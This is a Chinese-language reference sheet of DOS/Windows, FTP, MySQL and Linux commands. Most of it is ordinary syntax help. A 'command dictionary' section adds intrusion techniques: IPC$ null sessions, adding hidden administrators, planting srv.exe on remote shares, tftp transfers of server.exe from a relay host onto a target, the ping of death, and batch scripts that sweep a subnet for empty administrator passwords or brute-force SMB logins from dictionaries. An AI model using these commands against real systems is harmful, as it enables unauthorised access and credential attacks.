DOS笔记:
DOS是英文Disk Operating System的缩写,意思是“磁盘操作系统”
[drive:][path][filename] 指定要列出的驱动器、目录和/或文件。
/A 显示具有指定属性的文件。
attributes D 目录 R 只读文件, H 隐藏文件, A 准备存档的文件, S 系统文件, - 表示“否”的前缀
/B 使用空格式(没有标题信息或摘要)。
/C 在文件大小中显示千位数分隔符。这是默认值。用 /-C 来停用分隔符显示。
/D 跟宽式相同,但文件是按栏分类列出的。
/L 用小写。
/N 新的长列表格式,其中文件名在最右边。
/O 用分类顺序列出文件。
sortorder N 按名称(字母顺序), S 按大小(从小到大), E 按扩展名(字母顺序), D 按日期/时间(从先到后). G 组目录优先, - 颠倒顺序的前缀
/P 在每个信息屏幕后暂停。
/Q 显示文件所有者。
/S 显示指定目录和所有子目录中的文件。
/T 控制显示或用来分类的时间字符域。
timefield C 创建时间, A 上次访问时间, W 上次写入的时间
/W 用宽列表格式。
/X 显示为非 8dot3 文件名产生的短名称。格式是 /N 的格式,短名称插在长名称前面。如果没有短名称,在其位置则显示空白。
/4 用四位数字显示年
cd 显示当前目录名或改变当前目录。
CHDIR [/D] [drive:][path]
CHDIR [..]
CD [/D] [drive:][path]
CD [..]
.. 指定要改成父目录。
CD 驱动器: 显示指定驱动器中的当前目录。
/D 除了改变驱动器的当前目录之外,还可改变当前驱动器。
如果扩展命令名被启用,CHDIR 会如下改变:当前的目录字符串会被转换成使用磁盘名上的大小写.如果磁盘上的大小写如此,CD C : \TEMP 会将当前目录设为
C:\Temp。
CHDIR 命令不把空格当作分隔符,因此有可能将目录名改为一个
带有空格但不带有引号的子目录名。例如:cd \winnt\profiles\username\programs\start menu
与下列相同:cd "\winnt\profiles\username\programs\start menu"
在扩展功能停用的情况下,您必须键入以上命令。
创建目录。
MKDIR [drive:]path
MD [drive:]path
MKDIR \a\b\c\d #创建多级目录
删除目录
RMDIR [/S] [/Q] [drive:]path #删除单个目录不能包含子文件夹
RD [/S] [/Q] [drive:]path #删除单个目录不能包含子文件夹
/S 除目录本身外,还将删除指定目录下的所有子目录和文件。用于删除目录树。
/Q 安静模式,带 /S 删除目录树时不要求确认
RMDIR \a\b\c\d #删除多级目录
将一份或多份文件复制到另一个位置。
COPY [/D] [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] source [/[+ source [/A | /B] [+ ...]] [destination [/A | /B]
source 指定要复制的文件。
/A 表示一个 ASCII 文本文件。
/B 表示一个二进位文件。
/D 允许解密要创建的目标文件
destination 为新文件指定目录和/或文件名。
/V 验证新文件写入是否正确。
/N 复制带有非 8dot3 名称的文件时,尽可能使用短文件名。
/Y 不使用确认是否要改写现有目标文件的提示。
/-Y 使用确认是否要改写现有目标文件的提示。
/Z 用可重新启动模式复制已联网的文件。
显示或更改文件属性
ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]]
+ 设置属性。
- 清除属性。
R 只读文件属性。
A 存档文件属性。
S 系统文件属性。
H 隐藏文件属性。
[drive:][path][filename]指定要处理的文件属性。
/S 处理当前文件夹及其子文件夹中的匹配文件。
/D 也处理文件夹。
以图形显示驱动器或路径的文件夹结构。
TREE [drive:][path] [/F] [/A]
/F 显示每个文件夹中文件的名称。
/A 使用 ASCII 字符,而不使用扩展字符。
其他常用命令;
ASSOC 显示或修改文件扩展名关联。
AT 计划在计算机上运行的命令和程序。
ATTRIB 显示或更改文件属性。
BREAK 设置或清除扩展式 CTRL+C 检查。
CACLS 显示或修改文件的访问控制列表(ACLs)。
CALL 从另一个批处理程序调用这一个。
CD 显示当前目录的名称或将其更改。
CHCP 显示或设置活动代码页数。
CHDIR 显示当前目录的名称或将其更改。
CHKDSK 检查磁盘并显示状态报告。
CHKNTFS 显示或修改启动时间磁盘检查。
CLS 清除屏幕。
CMD 打开另一个 Windows 命令解释程序窗口。
COLOR 设置默认控制台前景和背景颜色。
COMP 比较两个或两套文件的内容。
COMPACT 显示或更改 NTFS 分区上文件的压缩。
CONVERT 将 FAT 卷转换成 NTFS。您不能转换当前驱动器。
COPY 将至少一个文件复制到另一个位置。
DATE 显示或设置日期。
DEL 删除至少一个文件。
DIR 显示一个目录中的文件和子目录。
DISKCOMP 比较两个软盘的内容。
DISKCOPY 将一个软盘的内容复制到另一个软盘。
DOSKEY 编辑命令行、调用 Windows 命令并创建宏。
ECHO 显示消息,或将命令回显打开或关上。
ENDLOCAL 结束批文件中环境更改的本地化。
ERASE 删除至少一个文件。
EXIT 退出 CMD.EXE 程序(命令解释程序)。
FC 比较两个或两套文件,并显示不同处。
FIND 在文件中搜索文字字符串。
FINDSTR 在文件中搜索字符串。
FOR 为一套文件中的每个文件运行一个指定的命令。
FORMAT 格式化磁盘,以便跟 Windows 使用。
FTYPE 显示或修改用于文件扩展名关联的文件类型。
GOTO 将 Windows 命令解释程序指向批处理程序中某个标明的行。
GRAFTABL 启用 Windows 来以图像模式显示扩展字符集。
HELP 提供 Windows 命令的帮助信息。
IF 执行批处理程序中的条件
MODE 配置系统设备。
MORE 一次显示一个结果屏幕。
MOVE 将文件从一个目录移到另一个目录。
PATH 显示或设置可执行文件的搜索路径。
PAUSE 暂停批文件的处理并显示消息。
POPD 还原 PUSHD 保存的当前目录的上一个值。
PRINT 打印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存当前目录,然后对其进行更改。
RD 删除目录。
RECOVER 从有问题的磁盘恢复可读信息。
REM 记录批文件或 CONFIG.SYS 中的注释。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替换文件。
RMDIR 删除目录。
SET 显示、设置或删除 Windows 环境变量。
SETLOCAL 开始批文件中环境更改的本地化。
SHIFT 更换批文件中可替换参数的位置。
SORT 对输入进行分类。
START 启动另一个窗口来运行指定的程序或命令。
SUBST 将路径跟一个驱动器号关联。
TIME 显示或设置系统时间。
TITLE 设置 CMD.EXE 会话的窗口标题。
TREE 以图形模式显示驱动器或路径的目录结构。
TYPE 显示文本文件的内容。
VER 显示 Windows 版本。
VERIFY 告诉 Windows 是否验证文件是否已正确写入磁盘。
VOL 显示磁盘卷标和序列号。
XCOPY 复制文件和目录树。
ASSOC 显示或修改文件扩展名关联 详解ASSOC [.ext[=[fileType]]]
.ext 指定跟文件类型关联的文件扩展名
fileType 指定跟文件扩展名关联的文件类型
键入 ASSOC 而不带参数,显示当前文件关联。如果只用文件扩展
名调用 ASSOC,则显示那个文件扩展名的当前文件关联。如果不为
文件类型指定任何参数,命令会删除文件扩展名的关联。
AT 命令安排在特定日期和时间运行命令和程序。
要使用 AT 命令,计划服务必须已在运行中。
AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\\computername] time [/INTERACTIVE][ /EVERY:date[,...] | /NEXT:date[,...]] "command"
\\computername 指定远程计算机。 如果省略这个参数,会计划在本地计算机上运行命令。
id 指定给已计划命令的识别号。
/delete 删除某个已计划的命令。如果省略 id,计算机上所有已计划的命令都会被删除。
/yes 不需要进一步确认时,跟删除所有作业的命令一起使用。
time 指定运行命令的时间。
/interactive 允许作业在运行时,与当时登录的用户桌面进行交互。
/every:date[,...] 每个月或每个星期在指定的日期运行命令。如果省略日期,则默认为在每月的本日运行。
/next:date[,...] 指定在下一个指定日期(如,下周四)运行命令。如果省略日期,则默认为在每月的本日运行。
"command" 准备运行的 Windows NT 命令或批处理程序。
break 设置或清除 DOS 系统的扩展 CTRL+C 检测
这个命令是为了与 DOS 系统的兼容而保留的,在 Windows XP里不起作用。如果命令扩展名被启用,并且操作平台是 Windows XP,
BREAK 命令会在被调试程序调试时输入一个硬代码中断点。
cacls 显示或者修改文件的访问控制表(ACL)
CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user [...]][/P user:perm [...]] [/D user [...]]
filename 显示 ACL。
/T 更改当前目录及其所有子目录中指定文件的 ACL。
/E 编辑 ACL 而不替换。
/C 在出现拒绝访问错误时继续。
/G user:perm 赋予指定用户访问权限。
Perm 可以是:
R 读取
W 写入
C 更改(写入)
F 完全控制
/R user 撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。
/P user:perm 替换指定用户的访问权限。
Perm 可以是:
N 无
R 读取
W 写入
C 更改(写入)
F 完全控制
/D user 拒绝指定用户的访问。在命令中可以使用通配符指定多个文件。也可以在命令中指定多个用户。
缩写:
CI - 容器继承。
ACE 会由目录继承。
OI - 对象继承。
ACE 会由文件继承。
IO - 只继承。
ACE 不适用于当前文件/目录。
DOS命令字典
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S 删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
--IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
-- MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysql*** -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”
附:批处理命令与变量
-- 1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:***istrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
FTP命令详解
FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。
FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中
-v 显示远程服务器的所有响应信息;
-n 限制ftp的自动登录,即不使用;.n etrc文件;
-d 使用调试方式;
-g 取消全局文件名。
FTP使用的内部命令如下(中括号表示可选项):
![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
$ macro-ame[args]: 执行宏定义macro-name。
account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。
ascii:使用ascii类型传输方式。
bell:每个命令执行完毕后计算机响铃一次。
bin:使用二进制文件传输方式。
bye:退出ftp会话过程。
case:在使用mget时,将远程主机文件名中的大写转为小写字母。
cd remote-dir:进入远程主机目录。
cdup:进入远程主机目录的父目录。
chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。
close:中断与远程服务器的ftp会话(与open对应)。
cr:使用asscii方式传输文件时,将回车换行转换为回行。
delete remote-file:删除远程主机文件。
debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。
dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
disconnection:同close。
form format:将文件传输方式设置为format,缺省为file方式。
get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。
glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
hash:每传输1024字节,显示一个hash符号(#)。
help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。
image:设置二进制传输方式(同binary)。
lcd[dir]:将本地工作目录切换至dir。
ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。
mdelete[remote-file]:删除远程主机文件。
mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。
mget remote-files:传输多个远程文件。
mkdir dir-name:在远程主机中建一目录。
mls remote-file local-file:同nlist,但可指定多个文件名。
mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。
modtime file-name:显示远程主机文件的最后修改时间。
mput local-file:将多个文件传输至远程主机。
newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。
nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。
open host[port]:建立指定ftp服务器连接,可指定连接端口。
passive:进入被动传输方式。
prompt:设置多个文件传输时的交互提示。
proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
put local-file[remote-file]:将本地文件local-file传送至远程主机。
pwd:显示远程主机的当前工作目录。
quit:同bye,退出ftp会话。
quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.
recv remote-file[local-file]:同get。
reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。
rhelp[cmd-name]:请求获得远程主机的帮助。
rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。
rename[from][to]:更改远程主机文件名。
reset:清除回答队列。
restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
rmdir dir-name:删除远程主机目录。
runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
send local-file[remote-file]:同put。
sendport:设置PORT命令的使用。
site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。
size file-name:显示远程主机文件大小,如:site idle 7200。
status:显示当前ftp状态。
struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
sunique:将远程主机文件名存储设置为只一(与runique对应)。
system:显示远程主机的操作系统类型。
tenex:将文件传输类型设置为TENEX机的所需的类型。
tick:设置传输时的字节计数器。
trace:设置包跟踪。
type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3
user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
